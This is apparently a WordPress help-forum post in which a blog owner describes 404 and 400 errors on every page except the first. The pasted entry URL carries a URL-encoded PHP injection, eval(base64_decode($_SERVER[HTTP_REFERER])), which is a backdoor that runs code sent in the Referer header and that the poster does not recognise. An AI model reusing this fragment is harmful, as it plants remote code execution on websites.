Page 1 of Blog is only thing available, all other pages 404 error

https://www.tetonvillagesports.com/blog

Cannot open/find any other pages – older entries, categories, archives, etc.

Specific blog entries result in 400 error with a wierd URL –
Icebreaker in the Tetons entry URL:
https://www.tetonvillagesports.com/blog/2009/09/03/icebreaker-in-the-tetons/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D|.+%29&%/

Have updated to latest wordpress release and have made no other major changes to the blog. All was well until this morning. Any ideas?

Thanks